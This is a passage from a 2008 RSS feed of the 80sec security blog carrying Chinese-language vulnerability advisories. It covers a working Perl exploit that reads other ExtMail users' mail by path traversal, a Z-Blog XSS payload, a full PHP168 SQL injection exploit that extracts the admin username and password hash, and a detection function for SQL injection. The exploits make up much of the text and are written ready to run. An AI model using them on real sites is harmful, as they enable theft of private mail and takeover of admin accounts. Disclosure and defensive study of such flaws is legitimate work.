	1	SQL注射漏洞	
		程序在处理用户登陆参数的地方没有对SQL注射进行防护，导致可能产生SQL注射漏洞，该处没有回显，但是利用延迟技术，一样可以进行敏感信息获取
	2	任意用户身份获取漏洞
		程序在处理全局用户参数提交时产生错误，导致匿名用户可以在该会话期间内上传文件到/tmp/目录，而程序的所有认证机制都是依靠/tmp/下的文件来处理的，所以匿名用户可以伪造认证文件来窃取其他的用户身份
	3	任意信件读取漏洞
		程序依靠文件处理系统来区分各个用户和信件，但是程序在处理个别参数的时候存在安全漏洞，导致用户可以跳出目录进入其他人的目录读取敏感信息如信件。
漏洞状态：80sec已经通知官方，但是到目前没有获得任何回复
漏洞证明：80sec发放任意信件读取漏洞的POC

#!/usr/bin/perl
#Exp for Ext-mail
#Codz By 80sec http://www.80sec.com
use LWP;
my $browser = LWP::UserAgent->new;
$mysid="d9a4c4f05aca535d696f8983a23e42bd";
$mytarget="http://www.80sec.com/";
$user='80sec';
$ARGV[0]&#038;&#038;($user=$ARGV[0]);
open(RESULT,&#8221;>>$user.txt&#8221;);
for($i=0;;$i++) {
	my @headers=(&#8217;Cookie&#8217;=>&#8221;sid=$mysid&#8221;,&#8217;User-Agent&#8217;=>&#8217;Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)&#8217;,);
	$myresponse=$browser->post(&#8221;${mytarget}compose.cgi&#8221;,['__mode'=>'edit_forward','folder'=>"Sent/../../../${user}/Maildir",'pos'=>"$i"],@headers);
	$myecho=$myresponse->content;
	$_=$myecho;
	if(m/Some errors occured/i) {
		print &#8220;Error!&#8221;;
		print $_;
		unlink &#8220;$user.txt&#8221;;
		exit;
	}
	$bak=$_;
	s/(.*?)value=\&#8221;Fwd:(.+?)\&#8221; onKeyDown=(.*?)$/$2/sg;
	$subject=$_;
	$_=$bak;
	s/(.*?)&#60;textarea name=&#8221;message&#8221;(.+?)>(.+?)&#60;\/textarea>(.*)/$3/sg;
	s/&#60;br>/\n/sg;
	s/&#34;/\&#8221;/sg;
	s/&#60;/&#60;/g;
	s/&#62;/>/sg;
	s/&#160;/ /sg;
	s/\r/\n/sg;
	s/\n+/\n/sg;
	s/&#60;.*?>//sg;
	s/&#8212;&#8212;&#8211; Forwarded Messages &#8212;&#8212;&#8211;//sg;
	$last=$_;
	s/\s//sg;
	s/From://sg;
	s/To://sg;
	$msg=$_;
#	$subject=chomp($subject);
#	$msg=chomp($msg);
	if(!$subject&#038;&#038;!$msg) {
		print &#8220;Done!估计没了!\r\n&#8221;;
		print $last;
		exit;
	}
	print &#8220;$user第$i封邮件:\r\n++++++++++++++++++++++++++++++++++++++++++++\r\n标题：&#8221;.$subject.&#8221;\r\n内容：&#8221;.$msg.&#8221;++++++++++++++++++++++++++++++++++++++++++++\r\n&#8221;;
	print RESULT &#8220;$user第$i封邮件:\r\n++++++++++++++++++++++++++++++++++++++++++++\r\n标题：&#8221;.$subject.&#8221;\r\n内容：&#8221;.$msg.&#8221;++++++++++++++++++++++++++++++++++++++++++++\r\n&#8221;;
}

]]></description>
			<content:encoded><![CDATA[<p>漏洞说明：ExtMail Project 是一个活跃的开源邮件系统项目，目前由ExtMail 团队维护。该项于2005年9月18日正式启动，最初以WebMail软件为主，至今已逐步形成了ExtMail软件系列。整个项目的目标是开发出高效、易用、富有生命力的邮件系统(方案)，经过粗略的统计，截止2007年6月份，已有超过3000个服务器在运行ExtMail软件，其中有超过1000个运行在互联网上。Webmail采取perl语言CGI方式编写，国内众多知名站点均使用extmail，譬如http://mail.csdn.net。80sec在其产品中发现安全漏洞，包括SQL注射，任意用户身份劫持，以及任意信件读取的几个重大安全漏洞。</p>
<p>漏洞厂商：http://www.extmail.org/<br />
<span id="more-28"></span><br />
漏洞解析：</p>
<p>	1	SQL注射漏洞	</p>
<p>		程序在处理用户登陆参数的地方没有对SQL注射进行防护，导致可能产生SQL注射漏洞，该处没有回显，但是利用延迟技术，一样可以进行敏感信息获取</p>
<p>	2	任意用户身份获取漏洞</p>
<p>		程序在处理全局用户参数提交时产生错误，导致匿名用户可以在该会话期间内上传文件到/tmp/目录，而程序的所有认证机制都是依靠/tmp/下的文件来处理的，所以匿名用户可以伪造认证文件来窃取其他的用户身份</p>
<p>	3	任意信件读取漏洞</p>
<p>		程序依靠文件处理系统来区分各个用户和信件，但是程序在处理个别参数的时候存在安全漏洞，导致用户可以跳出目录进入其他人的目录读取敏感信息如信件。</p>
<p>漏洞状态：80sec已经通知官方，但是到目前没有获得任何回复</p>
<p>漏洞证明：80sec发放任意信件读取漏洞的POC</p>
<p><code><br />
#!/usr/bin/perl<br />
#Exp for Ext-mail<br />
#Codz By 80sec http://www.80sec.com</p>
<p>use LWP;<br />
my $browser = LWP::UserAgent->new;</p>
<p>$mysid="d9a4c4f05aca535d696f8983a23e42bd";<br />
$mytarget="http://www.80sec.com/";<br />
$user='80sec';</p>
<p>$ARGV[0]&#038;&#038;($user=$ARGV[0]);<br />
open(RESULT,&#8221;>>$user.txt&#8221;);</p>
<p>for($i=0;;$i++) {<br />
	my @headers=(&#8217;Cookie&#8217;=>&#8221;sid=$mysid&#8221;,&#8217;User-Agent&#8217;=>&#8217;Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)&#8217;,);<br />
	$myresponse=$browser->post(&#8221;${mytarget}compose.cgi&#8221;,['__mode'=>'edit_forward','folder'=>"Sent/../../../${user}/Maildir",'pos'=>"$i"],@headers);<br />
	$myecho=$myresponse->content;<br />
	$_=$myecho;<br />
	if(m/Some errors occured/i) {<br />
		print &#8220;Error!&#8221;;<br />
		print $_;<br />
		unlink &#8220;$user.txt&#8221;;<br />
		exit;<br />
	}</p>
<p>	$bak=$_;</p>
<p>	s/(.*?)value=\&#8221;Fwd:(.+?)\&#8221; onKeyDown=(.*?)$/$2/sg;<br />
	$subject=$_;</p>
<p>	$_=$bak;<br />
	s/(.*?)&#60;textarea name=&#8221;message&#8221;(.+?)>(.+?)&#60;\/textarea>(.*)/$3/sg;<br />
	s/&#60;br>/\n/sg;<br />
	s/&quot;/\&#8221;/sg;<br />
	s/&lt;/&#60;/g;<br />
	s/&gt;/>/sg;<br />
	s/&nbsp;/ /sg;<br />
	s/\r/\n/sg;<br />
	s/\n+/\n/sg;<br />
	s/&#60;.*?>//sg;<br />
	s/&#8212;&#8212;&#8211; Forwarded Messages &#8212;&#8212;&#8211;//sg;<br />
	$last=$_;</p>
<p>	s/\s//sg;<br />
	s/From://sg;<br />
	s/To://sg;<br />
	$msg=$_;</p>
<p>#	$subject=chomp($subject);<br />
#	$msg=chomp($msg);<br />
	if(!$subject&#038;&#038;!$msg) {<br />
		print &#8220;Done!估计没了!\r\n&#8221;;<br />
		print $last;<br />
		exit;<br />
	}<br />
	print &#8220;$user第$i封邮件:\r\n++++++++++++++++++++++++++++++++++++++++++++\r\n标题：&#8221;.$subject.&#8221;\r\n内容：&#8221;.$msg.&#8221;++++++++++++++++++++++++++++++++++++++++++++\r\n&#8221;;<br />
	print RESULT &#8220;$user第$i封邮件:\r\n++++++++++++++++++++++++++++++++++++++++++++\r\n标题：&#8221;.$subject.&#8221;\r\n内容：&#8221;.$msg.&#8221;++++++++++++++++++++++++++++++++++++++++++++\r\n&#8221;;</p>
<p>}<br />
</code></p>
]]></content:encoded>
			<wfw:commentRss>http://www.80sec.com/extmail-security-hole.html/feed</wfw:commentRss>
		</item>
		<item>
		<title>Z-blog又一严重跨站脚本攻击漏洞</title>
		<link>http://www.80sec.com/zblog-xss.html</link>
		<comments>http://www.80sec.com/zblog-xss.html#comments</comments>
		<pubDate>Mon, 21 Jul 2008 10:16:11 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[web应用程序安全]]></category>

		<guid isPermaLink="false">http://www.80sec.com/?p=27</guid>
		<description><![CDATA[漏洞说明：Z-Blog是一款基于Asp平台的Blog博客(网志)程序，支持Wap，支持Firefox，Oprea等浏览器，在国内使用非常广泛，官方主页在http://www.rainbowsoft.org/。Z-blog代码严谨，前台功能简洁，后台功能强大，这为它的产品安全带来很大的优势，但是在上次的xss漏洞被公布后，80sec在产品中又发现一个严重的跨站脚本攻击漏洞，加上产品设计上的一些问题可能带来严重的后果。
漏洞厂商：http://www.rainbowsoft.org/
漏洞解析：在FUNCTION/c_function.asp中，程序处理UBB标签的时候存在漏洞，导致任何用户可以在目标页面内执行任意js代码，利用该代码恶意用户可以获取目标站点的所有权限。漏洞代码如下：


Function UBBCode(ByVal strContent,strType)
	Dim objRegExp
	Set objRegExp=new RegExp
	objRegExp.IgnoreCase =True
	objRegExp.Global=True
	If ZC_UBB_LINK_ENABLE And Instr(strType,"[link]&#8220;)>0 Then
		objRegExp.Pattern=&#8221;(\[URL\])(([a-zA-Z0-9]+?):\/\/\S+?)(\[\/URL\])&#8221;
		strContent= objRegExp.Replace(strContent,&#8221;$2&#8220;)
		objRegExp.Pattern=&#8221;(\[URL\])(.+?)(\[\/URL\])&#8221;
		strContent= objRegExp.Replace(strContent,&#8221;$2&#8220;)
		objRegExp.Pattern=&#8221;(\[URL=)(([a-zA-Z0-9]+?):\/\/\S+?)(\])(.+?)(\[\/URL\])&#8221;
		strContent= objRegExp.Replace(strContent,&#8221;$5&#8220;)
		objRegExp.Pattern=&#8221;(\[URL=)(\S+?)(\])(\S+?)(\[\/URL\])&#8221;
		strContent= objRegExp.Replace(strContent,&#8221;$4&#8220;)
		objRegExp.Pattern=&#8221;(\[EMAIL\])(\S+\@\S+?)(\[\/EMAIL\])&#8221;
		strContent= objRegExp.Replace(strContent,&#8221;$2&#8220;)
		objRegExp.Pattern=&#8221;(\[EMAIL=)(\S+\@\S+?)(\])(.+?)(\[\/EMAIL\])&#8221;
		strContent= objRegExp.Replace(strContent,&#8221;$4&#8220;)
	End If

可以看到其中的正则表达式过滤并不严格，这种循环匹配也很容易出现逻辑问题，精心构造代码即可触发跨站脚本漏洞,可以发表评论如下

[URL][URL]http://=&#39;&#39;style=&#39;c:expression(alert())&#39;[/URL][/URL]

上面代码将循环执行alert()，当然，你也可以引入自己的恶意js执行：）
漏洞状态：该漏洞非常危险，完全不需要任何交互行为即可完成攻击，已经通知官方，请等候官方反应.
]]></description>
			<content:encoded><![CDATA[<p>漏洞说明：Z-Blog是一款基于Asp平台的Blog博客(网志)程序，支持Wap，支持Firefox，Oprea等浏览器，在国内使用非常广泛，官方主页在http://www.rainbowsoft.org/。Z-blog代码严谨，前台功能简洁，后台功能强大，这为它的产品安全带来很大的优势，但是在上次的xss漏洞被公布后，80sec在产品中又发现一个严重的跨站脚本攻击漏洞，加上产品设计上的一些问题可能带来严重的后果。</p>
<p>漏洞厂商：http://www.rainbowsoft.org/</p>
<p>漏洞解析：在FUNCTION/c_function.asp中，程序处理UBB标签的时候存在漏洞，导致任何用户可以在目标页面内执行任意js代码，利用该代码恶意用户可以获取目标站点的所有权限。漏洞代码如下：<br />
<span id="more-27"></span><br />
<code><br />
Function UBBCode(ByVal strContent,strType)</p>
<p>	Dim objRegExp<br />
	Set objRegExp=new RegExp<br />
	objRegExp.IgnoreCase =True<br />
	objRegExp.Global=True</p>
<p>	If ZC_UBB_LINK_ENABLE And Instr(strType,"[link]&#8220;)>0 Then</p>
<p>		objRegExp.Pattern=&#8221;(\[URL\])(([a-zA-Z0-9]+?):\/\/\S+?)(\[\/URL\])&#8221;<br />
		strContent= objRegExp.Replace(strContent,&#8221;<a href=""$2"" target=""_blank"">$2</a>&#8220;)</p>
<p>		objRegExp.Pattern=&#8221;(\[URL\])(.+?)(\[\/URL\])&#8221;<br />
		strContent= objRegExp.Replace(strContent,&#8221;<a href=""http://$2"" target=""_blank"">$2</a>&#8220;)</p>
<p>		objRegExp.Pattern=&#8221;(\[URL=)(([a-zA-Z0-9]+?):\/\/\S+?)(\])(.+?)(\[\/URL\])&#8221;<br />
		strContent= objRegExp.Replace(strContent,&#8221;<a href=""$2"" target=""_blank"">$5</a>&#8220;)</p>
<p>		objRegExp.Pattern=&#8221;(\[URL=)(\S+?)(\])(\S+?)(\[\/URL\])&#8221;<br />
		strContent= objRegExp.Replace(strContent,&#8221;<a href=""http://$2"" target=""_blank"">$4</a>&#8220;)</p>
<p>		objRegExp.Pattern=&#8221;(\[EMAIL\])(\S+\@\S+?)(\[\/EMAIL\])&#8221;<br />
		strContent= objRegExp.Replace(strContent,&#8221;<a href=""mailto:$2"" >$2</a>&#8220;)</p>
<p>		objRegExp.Pattern=&#8221;(\[EMAIL=)(\S+\@\S+?)(\])(.+?)(\[\/EMAIL\])&#8221;<br />
		strContent= objRegExp.Replace(strContent,&#8221;<a href=""mailto:$2"" target=""_blank"">$4</a>&#8220;)</p>
<p>	End If<br />
</code></p>
<p>可以看到其中的正则表达式过滤并不严格，这种循环匹配也很容易出现逻辑问题，精心构造代码即可触发跨站脚本漏洞,可以发表评论如下<br />
<code></p>
<p>[URL][URL]http://=&#39;&#39;style=&#39;c:expression(alert())&#39;[/URL][/URL]</p>
<p></code></p>
<p>上面代码将循环执行alert()，当然，你也可以引入自己的恶意js执行：）</p>
<p>漏洞状态：该漏洞非常危险，完全不需要任何交互行为即可完成攻击，已经通知官方，请等候官方反应.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.80sec.com/zblog-xss.html/feed</wfw:commentRss>
		</item>
		<item>
		<title>MYSQL Injection IDS [ver.1.0][Updated]</title>
		<link>http://www.80sec.com/mysql-injection-ids-ver10.html</link>
		<comments>http://www.80sec.com/mysql-injection-ids-ver10.html#comments</comments>
		<pubDate>Mon, 14 Jul 2008 02:12:55 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[web安全架构]]></category>

		<category><![CDATA[web应用程序安全]]></category>

		<guid isPermaLink="false">http://www.80sec.com/?p=26</guid>
		<description><![CDATA[/*
MYSQL Injection IDS [ver.1.0]
BY 80sec	http://www.80sec.com/
函数严格限制SQL文里出现
###########################################
union查询
select子查询
不常用的注释
文件操作
benchmark等危险函数
###########################################

原始地址: http://www.80sec.com/release/Mysql-injection-ids-1.0.txt
本函数适合一些开放代码的程序(因为这些程序需要考虑到在各种版本的Mysql里运行),但是可能并不适合在你的程序里,你可以通过修改自己的程序或者做合适的配置来适应它另外对于正常的SQL语句，由于本程序使用的是操作相对来说比较快的strpos来实现的，所以效率影响不是很大：）
关于使用:
		1	本函数是在MYSQL操作层来检测非法的SQL查询,大部分情况下该查询是由入侵者引起的,您可能也需要调整自己的程序,本程序不能作为过滤函数
		2	本函数需要部署在mysql_query函数前面,作为检测即将执行的SQL语句,最好将他部署在你的MYSQL操作类的前面
		3	非法操作默认记录在根目录下，名字为站点根目录的md5值
任何建议与部署上的问题欢迎与
root#80sec.com
联系
  
*/

function check_sql($db_string){
		$clean = '';
		$error='';
		$old_pos = 0;
		$pos = -1;
		$log_file=$_SERVER['DOCUMENT_ROOT'].md5($_SERVER['DOCUMENT_ROOT']).&#8221;.php&#8221;;
		while (true)
		{
			$pos = strpos($db_string, &#8216;\&#8221;, $pos + 1);
			if ($pos === false)
				break;
			$clean .= substr($db_string, $old_pos, $pos - $old_pos);
			while (true)
			{
				$pos1 = strpos($db_string, &#8216;\&#8221;, $pos + 1);
				$pos2 = strpos($db_string, &#8216;\\&#8217;, $pos + 1);
				if ($pos1 === false)
					break;
				elseif ($pos2 == false &#124;&#124; $pos2 > $pos1)
				{
					$pos = [...]]]></description>
			<content:encoded><![CDATA[<p>/*</p>
<p>MYSQL Injection IDS [ver.1.0]</p>
<p>BY 80sec	http://www.80sec.com/</p>
<p>函数严格限制SQL文里出现</p>
<p>###########################################<br />
union查询<br />
select子查询<br />
不常用的注释<br />
文件操作<br />
benchmark等危险函数<br />
###########################################<br />
<span id="more-26"></span></p>
<p>原始地址: <a href=http://www.80sec.com/release/Mysql-injection-ids-1.0.txt>http://www.80sec.com/release/Mysql-injection-ids-1.0.txt</a></p>
<p>本函数适合一些开放代码的程序(因为这些程序需要考虑到在各种版本的Mysql里运行),但是可能并不适合在你的程序里,你可以通过修改自己的程序或者做合适的配置来适应它另外对于正常的SQL语句，由于本程序使用的是操作相对来说比较快的strpos来实现的，所以效率影响不是很大：）</p>
<p>关于使用:<br />
		1	本函数是在MYSQL操作层来检测非法的SQL查询,大部分情况下该查询是由入侵者引起的,您可能也需要调整自己的程序,本程序不能作为过滤函数<br />
		2	本函数需要部署在mysql_query函数前面,作为检测即将执行的SQL语句,最好将他部署在你的MYSQL操作类的前面<br />
		3	非法操作默认记录在根目录下，名字为站点根目录的md5值</p>
<p>任何建议与部署上的问题欢迎与</p>
<p>root#80sec.com</p>
<p>联系</p>
<p> <img src='http://www.80sec.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>*/</p>
<p><code><br />
function check_sql($db_string){</p>
<p>		$clean = '';<br />
		$error='';<br />
		$old_pos = 0;<br />
		$pos = -1;<br />
		$log_file=$_SERVER['DOCUMENT_ROOT'].md5($_SERVER['DOCUMENT_ROOT']).&#8221;.php&#8221;;</p>
<p>		while (true)<br />
		{<br />
			$pos = strpos($db_string, &#8216;\&#8221;, $pos + 1);<br />
			if ($pos === false)<br />
				break;<br />
			$clean .= substr($db_string, $old_pos, $pos - $old_pos);</p>
<p>			while (true)<br />
			{<br />
				$pos1 = strpos($db_string, &#8216;\&#8221;, $pos + 1);<br />
				$pos2 = strpos($db_string, &#8216;\\&#8217;, $pos + 1);<br />
				if ($pos1 === false)<br />
					break;<br />
				elseif ($pos2 == false || $pos2 > $pos1)<br />
				{<br />
					$pos = $pos1;<br />
					break;<br />
				}</p>
<p>				$pos = $pos2 + 1;<br />
			}<br />
			$clean .= &#8216;$s$&#8217;;</p>
<p>			$old_pos = $pos + 1;<br />
		}</p>
<p>		$clean .= substr($db_string, $old_pos);</p>
<p>		$clean = trim(strtolower(preg_replace(array(&#8217;~\s+~s&#8217; ), array(&#8217; &#8216;), $clean)));</p>
<p>		//老版本的Mysql并不支持union，常用的程序里也不使用union，但是一些黑客使用它，所以检查它<br />
		if (strpos($clean, &#8216;union&#8217;) !== false &#038;&#038; preg_match(&#8217;~(^|[^a-z])union($|[^[a-z])~s&#8217;, $clean) != 0){<br />
			$fail = true;<br />
			$error=&#8221;union detect&#8221;;<br />
		}<br />
		//发布版本的程序可能比较少包括&#8211;,#这样的注释，但是黑客经常使用它们<br />
		elseif (strpos($clean, &#8216;/*&#8217;) > 2 || strpos($clean, &#8216;&#8211;&#8217;) !== false || strpos($clean, &#8216;#&#8217;) !== false){<br />
			$fail = true;<br />
			$error=&#8221;comment detect&#8221;;<br />
		}<br />
		//这些函数不会被使用，但是黑客会用它来操作文件，down掉数据库<br />
		elseif (strpos($clean, &#8217;sleep&#8217;) !== false &#038;&#038; preg_match(&#8217;~(^|[^a-z])sleep($|[^[a-z])~s&#8217;, $clean) != 0){<br />
			$fail = true;<br />
			$error=&#8221;slown down detect&#8221;;<br />
		}<br />
		elseif (strpos($clean, &#8216;benchmark&#8217;) !== false &#038;&#038; preg_match(&#8217;~(^|[^a-z])benchmark($|[^[a-z])~s&#8217;, $clean) != 0){<br />
			$fail = true;<br />
			$error=&#8221;slown down detect&#8221;;<br />
		}<br />
		elseif (strpos($clean, &#8216;load_file&#8217;) !== false &#038;&#038; preg_match(&#8217;~(^|[^a-z])load_file($|[^[a-z])~s&#8217;, $clean) != 0){<br />
			$fail = true;<br />
			$error=&#8221;file fun detect&#8221;;<br />
		}<br />
		elseif (strpos($clean, &#8216;into outfile&#8217;) !== false &#038;&#038; preg_match(&#8217;~(^|[^a-z])into\s+outfile($|[^[a-z])~s&#8217;, $clean) != 0){<br />
			$fail = true;<br />
			$error=&#8221;file fun detect&#8221;;<br />
		}<br />
		//老版本的MYSQL不支持子查询，我们的程序里可能也用得少，但是黑客可以使用它来查询数据库敏感信息<br />
		elseif (preg_match(&#8217;~\([^)]*?select~s&#8217;, $clean) != 0){<br />
			$fail = true;<br />
			$error=&#8221;sub select detect&#8221;;<br />
		}</p>
<p>		if (!empty($fail))<br />
		{</p>
<p>			fputs(fopen($log_file,&#8217;a+&#8217;),&#8221;&#60;?php die();?>||$db_string||$error\r\n&#8221;);<br />
			die(&#8221;Hacking Detect&#60;br>&#60;a href=http://www.80sec.com/>http://www.80sec.com</a>&#8220;);<br />
		}</p>
<p>		else {<br />
			return $db_string;<br />
		}<br />
}</p>
<p>/*<br />
$sql=&#8221;select * from news where id=&#8217;&#8221;.$_GET[id].&#8221;&#8216;&#8221;;	//程序功能的SQL语句，有用户数据进入，可能存在SQL注射</p>
<p>check_sql($sql);		//用我们的函数检查SQL语句</p>
<p>mysql_query($sql);		//安全的数据库执行<br />
*/</p>
<p></code></p>
]]></content:encoded>
			<wfw:commentRss>http://www.80sec.com/mysql-injection-ids-ver10.html/feed</wfw:commentRss>
		</item>
		<item>
		<title>PHP 168 SQL注射漏洞</title>
		<link>http://www.80sec.com/php168-sql-injetion.html</link>
		<comments>http://www.80sec.com/php168-sql-injetion.html#comments</comments>
		<pubDate>Fri, 11 Jul 2008 09:31:46 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[web应用程序安全]]></category>

		<guid isPermaLink="false">http://www.80sec.com/?p=24</guid>
		<description><![CDATA[漏洞说明：历经数年开发与完善的&#8221;PHP168整站系统&#8221;是国内最早的多功能模块化网站管理软件系统；不仅适合于建设一般的企业、政府、学校、个人等小型网站，同时也适合于建设地区门户、行业门户、收费网站等大中型网站，80sec在其产品中发现了一个严重的SQL注射漏洞，可能被恶意用户查询数据库的敏感信息，如管理员密码，加密key等等，从而控制整个网站。
漏洞厂商：http://www.php168.com

漏洞解析：在系统的jsarticle.php中，使用了urldecode用来解码用户提交的数据，但是在使用该函数之后并没有做进一步的有效性验证，从而导致精心构造的数据可以饶过系统的过滤以及php的Magic Quote保护，漏洞部分代码如下：

	elseif($type=='like')
	{ 
		$SQL.=" AND aid!='$id' "; 
		if(!$keyword)
		{
			extract($db->get_one("SELECT keywords AS keyword FROM {$pre}article WHERE aid='$id'"));
		} 
		if($keyword){
			$SQL.=" AND ( ";
			$keyword=urldecode($keyword);
			$detail=explode(" ",$keyword);
			unset($detail2);
			foreach( $detail AS $key=>$value){
				$detail2[]=&#8221; BINARY title LIKE &#8216;%$value%&#8217; &#8220;;
			}
			$str=implode(&#8221; OR &#8220;,$detail2);
			$SQL.=&#8221; $str ) &#8220;;
		}else{
			$SQL.=&#8221; AND 0 &#8220;;
		} 
		$ORDER=&#8217; list &#8216;;
	} 
	if(!$webdb[viewNoPassArticle]){
		$SQL.=&#8217; AND yz=1 &#8216;;
	} 
	$SQL=&#8221; WHERE $SQL ORDER BY $ORDER DESC LIMIT $rows&#8221;;
	$which=&#8217;*';
	$listdb=list_article($SQL,$which,$leng);

keyword被urldecode然后进入list_article函数，提交%2527将导致一个&#8217;进入SQL查询
在artic_function.php中的list_article函数如下

function list_article($SQL,$which='*',$leng=40){
	global $db,$pre;
	$query=$db->query("SELECT $which FROM [...]]]></description>
			<content:encoded><![CDATA[<p>漏洞说明：历经数年开发与完善的&#8221;PHP168整站系统&#8221;是国内最早的多功能模块化网站管理软件系统；不仅适合于建设一般的企业、政府、学校、个人等小型网站，同时也适合于建设地区门户、行业门户、收费网站等大中型网站，80sec在其产品中发现了一个严重的SQL注射漏洞，可能被恶意用户查询数据库的敏感信息，如管理员密码，加密key等等，从而控制整个网站。</p>
<p>漏洞厂商：http://www.php168.com<br />
<span id="more-24"></span><br />
漏洞解析：在系统的jsarticle.php中，使用了urldecode用来解码用户提交的数据，但是在使用该函数之后并没有做进一步的有效性验证，从而导致精心构造的数据可以饶过系统的过滤以及php的Magic Quote保护，漏洞部分代码如下：</p>
<p><code><br />
	elseif($type=='like')<br />
	{ </p>
<p>		$SQL.=" AND aid!='$id' "; </p>
<p>		if(!$keyword)<br />
		{<br />
			extract($db->get_one("SELECT keywords AS keyword FROM {$pre}article WHERE aid='$id'"));<br />
		} </p>
<p>		if($keyword){<br />
			$SQL.=" AND ( ";<br />
			$keyword=urldecode($keyword);<br />
			$detail=explode(" ",$keyword);<br />
			unset($detail2);<br />
			foreach( $detail AS $key=>$value){<br />
				$detail2[]=&#8221; BINARY title LIKE &#8216;%$value%&#8217; &#8220;;<br />
			}<br />
			$str=implode(&#8221; OR &#8220;,$detail2);<br />
			$SQL.=&#8221; $str ) &#8220;;<br />
		}else{<br />
			$SQL.=&#8221; AND 0 &#8220;;<br />
		} </p>
<p>		$ORDER=&#8217; list &#8216;;<br />
	} </p>
<p>	if(!$webdb[viewNoPassArticle]){<br />
		$SQL.=&#8217; AND yz=1 &#8216;;<br />
	} </p>
<p>	$SQL=&#8221; WHERE $SQL ORDER BY $ORDER DESC LIMIT $rows&#8221;;<br />
	$which=&#8217;*';<br />
	$listdb=list_article($SQL,$which,$leng);<br />
</code></p>
<p>keyword被urldecode然后进入list_article函数，提交%2527将导致一个&#8217;进入SQL查询</p>
<p>在artic_function.php中的list_article函数如下</p>
<p><code><br />
function list_article($SQL,$which='*',$leng=40){<br />
	global $db,$pre;<br />
	$query=$db->query("SELECT $which FROM {$pre}article $SQL");<br />
	while( $rs=$db->fetch_array($query) ){<br />
		if($rs[mid]){<br />
			$_rss=$db->get_one(&#8221;SELECT * FROM {$pre}article_content_{$rs[mid]} WHERE aid=&#8217;$rs[aid]&#8216; LIMIT 1&#8243;);<br />
			$_rss &#038;&#038; $rs=$rs+$_rss;<br />
		}<br />
		$rs[content]=@preg_replace(&#8217;/<([^<]*)>/is&#8217;,&#8221;",$rs[content]);	//把HTML代码过滤掉<br />
		//如果文章有短标题,将以此显示在文章列表<br />
		if($rs[smalltitle]){<br />
			$title=$rs[smalltitle];<br />
		}else{<br />
			$title=$rs[title];<br />
		}<br />
		$rs[title]=get_word($rs[full_title]=$title,$leng);<br />
		if($rs[titlecolor]||$rs[fonttype]){<br />
			$titlecolor=$rs[titlecolor]?&#8221;color:$rs[titlecolor];&#8221;:&#8221;;<br />
			$font_weight=$rs[fonttype]==1?&#8217;font-weight:bold;&#8217;:&#8221;;<br />
			$rs[title]=&#8221;<font style='$titlecolor$font_weight'>$rs[title]</font>&#8220;;<br />
		}<br />
		$rs[posttime]=date(&#8221;Y-m-d&#8221;,$rs[full_posttime]=$rs[posttime]);<br />
		if($rs[picurl]){<br />
			$rs[picurl]=tempdir($rs[picurl]);<br />
		}<br />
		$listdb[]=$rs;<br />
	}<br />
	return $listdb;<br />
}<br />
</code></p>
<p>直接进入SQl查询，导致注射漏洞的产生。</p>
<p>漏洞利用：80sec提供攻击测试代码如下：</p>
<p><code><br />
#!/usr/bin/php<br />
&#60;?php</p>
<p>print_r('<br />
+---------------------------------------------------------------------------+<br />
Php168 v2008 SQL injection / admin credentials disclosure exploit<br />
by puret_t<br />
mail: puretot at gmail dot com<br />
team: http://www.wolvez.org<br />
dork: "Powered by PHP168 V2008"<br />
+---------------------------------------------------------------------------+<br />
');<br />
/**<br />
 * works regardless of php.ini settings<br />
 */<br />
if ($argc < 3) {<br />
	print_r('<br />
+---------------------------------------------------------------------------+<br />
Usage: php '.$argv[0].' host path<br />
host:      target server (ip/hostname)<br />
path:      path to php168<br />
Example:<br />
php '.$argv[0].' localhost /php168/<br />
+---------------------------------------------------------------------------+<br />
');<br />
	exit;<br />
}</p>
<p>error_reporting(7);<br />
ini_set('max_execution_time', 0);</p>
<p>$host = $argv[1];<br />
$path = $argv[2];</p>
<p>$resp = send();<br />
preg_match('/([a-z0-9]+)_article/', $resp, $pre);</p>
<p>if ($pre)<br />
	$resp = send();<br />
else<br />
	exit("Exploit Failed!\n");</p>
<p>preg_match('/content_([\S]+)\|([a-z0-9]{32})/', $resp, $pwd);</p>
<p>if ($pwd)<br />
	exit("Expoilt Success!\nadmin:\t$pwd[1]\nPassword(md5):\t$pwd[2]\n");<br />
else<br />
	exit("Exploit Failed!\n");</p>
<p>function send()<br />
{<br />
	global $host, $path, $pre;</p>
<p>	if ($pre)<br />
		$cmd = 'type=like&#038;keyword=%2527)/**/UNION/**/SELECT/**/1,1,1,1,CONCAT(username,%2527|%2527,password),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/FROM/**/'.$pre[1].'_members/**/WHERE/**/uid=1%23';<br />
	else<br />
		$cmd = 'type=like&#038;keyword=%2527';</p>
<p>	$message = "POST ".$path."jsarticle.php  HTTP/1.1\r\n";<br />
	$message .= "Accept: */*\r\n";<br />
	$message .= "Accept-Language: zh-cn\r\n";<br />
	$message .= "Content-Type: application/x-www-form-urlencoded\r\n";<br />
	$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";<br />
	$message .= "Host: $host\r\n";<br />
	$message .= "Content-Length: ".strlen($cmd)."\r\n";<br />
	$message .= "Connection: Close\r\n\r\n";<br />
	$message .= $cmd;</p>
<p>	$fp = fsockopen($host, 80);<br />
	fputs($fp, $message);</p>
<p>	$resp = '';</p>
<p>	while ($fp &#038;&#038; !feof($fp))<br />
		$resp .= fread($fp, 1024);</p>
<p>	return $resp;<br />
}</p>
<p>?></p>
<p></code></p>
<p>漏洞状态：已经通知php168官方，官方已经发布补丁。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.80sec.com/php168-sql-injetion.html/feed</wfw:commentRss>
		</item>
		<item>
		<title>Z-blog跨站脚本攻击漏洞</title>
		<link>http://www.80sec.com/zbog-xss.html</link>
		<comments>http://www.80sec.com/zbog-xss.html#comments</comments>
		<pubDate>Wed, 09 Jul 2008 14:56:17 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[web应用程序安全]]></category>

